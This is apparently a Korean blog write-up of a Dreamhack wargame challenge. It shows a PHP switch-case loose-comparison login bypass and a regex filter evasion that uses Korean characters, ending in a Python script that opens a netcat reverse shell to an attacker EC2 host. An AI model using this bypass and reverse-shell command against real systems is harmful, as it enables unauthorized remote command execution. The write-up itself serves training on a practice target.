https://dreamhack.io/wargame/challenges/1081
Switching Command
Description Not Friendly service... Can you switching the command?
dreamhack.io
개요
이 문제의 골자는 PHP의 switch-case 문에서 사용하는 loose-comparison을 악용하여, 로그인하려는 사용자가 admin인 것처럼 속이는 것이다.
취약점 분석
맨 처음에는 "index.php" 에서 JSON 데이터를 파싱한 다음, username이 "admin"이라면 문자열 "no hack"을 화면에 표시하고 작업을 진행하지 않는다.
따라서 "그림 1"의 "Username"에 "admin"을 입력하더라도, shell을 얻는 등의 이득은 없을 것이다.
하지만 switch-case문에는 username이 "admin"인 경우에만 수행하는 작업이 있다.
username을 "admin"으로 지정해도 막히므로, switch문에서 공격자가 "admin"인 것처럼 속여야 공격을 계속할 수 있다.
앞서 언급했듯, switch-case는 "loose comparison"을 이용하여 case를 처리한다.
"loose comparison"은 임의의 문자열과 비교할 boolean이 TRUE 이기만 하면, TRUE를 반환한다.
이와 반대로, "strict comparison"은 임의의 문자열과 비교할 boolean이 TRUE 여도 FALSE를 반환한다.
{"username": '{"username":true}'}
위와 같은 payload를 사용하면 username을 체크하는 부분에서 "admin"인 것처럼 php를 기만할 수 있다.
Exploit
switch-case에서 "admin"인 것처럼 속이면, "admin"을 행세하여 "test.php"를 실행한다.
"test.php"는 세션정보를 확인하므로, "admin"인 것처럼 기만해야 "admin"의 세션으로 "test.php"를 실행할 수 있다.
이 문제의 flag를 얻기 위해서는 bash 명령을 실행할 수 있어야 한다.
허나 "test.php"는 주어진 명령에서 정규표현식을 이용하여 nc, bin, bash 등 bash와 관련된 단어들을 제거한 다음, "shell_exec"을 이용하여 bash 명령을 실행한다.
문제에서 사용하는 php의 경우, 한글 등 ASCII 문자가 아닌 문자들을 제거하는 특징이 있다.
그러면 ASCII 문자가 아닌 문자들을 섞어넣음으로써, 정규표현식에서 필터링하는 단어도 사용할 수 있을 것이다.
CMD = f"nㅣc -e /bㅣin/basㅣh"
위와 같이 nc, bin 등의 단어 사이에 한글 모음 "ㅣ"를 넣어서, 필터링 과정을 우회할 수 있다.
"test.php"는 bash 명령을 실행할 수 있어도, 그 결과를 표시하지 않는 특징이 있다.
수행한 명령의 결과를 표시하기 위해, 리버스 쉘을 사용할 수 있다.
리버스 쉘을 이용하기 위해서는 서버가 1개 필요한데, 여기서는 AWS EC2 인스턴스를 리버스 쉘에 사용할 서버로 활용하였다.
인스턴스의 이름을 지정한 다음, "Instance type"은 "t2.micro"로 선택하고, OS는 "Amazon Linux"를 사용한다.
"t2.micro"를 사용해도 문제 풀이에는 지장이 없고, 프리 티어 지원을 받을 수 있기에 "t2.micro"를 선택했다.
Key pair를 지정하고 "Launch instance" 라고 적힌 버튼을 눌러서, EC2 인스턴스를 생성할 수 있다.
생성한 것 만으로는 외부 트래픽을 받지 않기에, 리버스 쉘로서의 역할을 수행할 수 없다.
생성한 EC2 인스턴스가 속해있는 Security Group의 "Edit inbound rule"에서 8001번 port로 들어오는 트래픽을 허용해준다.
공격받는 서버의 ip 주소를 모르기 때문에, "source"는 "Anywhere-IPv4"로 선택하고, "Save rules"를 눌러 변경사항을 저장해준다.
port 번호는 8001 대신 원하는 port 번호를 지정해도 무방하다.
"Connect" 버튼을 눌러, 생성한 EC2 인스턴스의 CLI를 실행할 수 있다.
sudo yum install nc # nc 설치
리버스 쉘을 이용하기 위해 EC2 인스턴스에 nc를 설치해야 한다.
nc를 설치했다면, "nc -lvp 8001" 명령을 통해 8001번 port로 들어오는 트래픽을 받을 수 있도록 명령한다.
그리고 위에서 취약점들을 살펴보며, 공격하기 위해 만든 payload를 담은 python 코드 파일을 하나 만들어준다.
from requests import Session
URL = "http://host3.dreamhack.games:18674"
# 리버스 쉘을 실행할 공격자의 서버
HOST = "54.144.234.41" # 서버 IP 주소
PORT = "8001" # 서버에 접근할 때 사용할 PORT 번호
payload_1 = {"username": '{"username":true}'} # "username"을 true(bool)로 설정 -> admin인 것처럼 기만 가능
payload_2 = f"nㅣc -e /bㅣin/basㅣh {HOST} {PORT}" # 리버스 쉘 목적, ASCII 문자가 아닌 ㅣ를 삽입 -> 정규식 검증을 우회
ses = Session()
ses.post(f"{URL}/", data = payload_1) # payload_1 전송
res = ses.get(f"{URL}/test.php?cmd={payload_2}") # payload_2 전송
위의 python 코드는 접근하는 사용자가 admin인 것처럼 속이고, 앞서 만든 EC2 인스턴스를 이용하여 리버스 쉘을 생성하는 역할을 한다.
살펴본 python 코드를 실행하면, 그림 12와 같이 공격받는 서버에 대해서 리버스 쉘을 만듦과 동시에 bash 명령을 수행할 수 있다.
리버스 쉘에서 "/flag" 명령을 실행하면, 이 문제의 flag를 얻을 수 있다.
'DreamHack' 카테고리의 다른 글
XSS-1 (0) | 2024.02.05 |
---|---|
cookie (0) | 2024.01.30 |
simple_sqli_chatgpt (0) | 2023.09.19 |
PHPreg (1) | 2023.09.17 |
DreamHack) ex-reg-ex (0) | 2023.09.14 |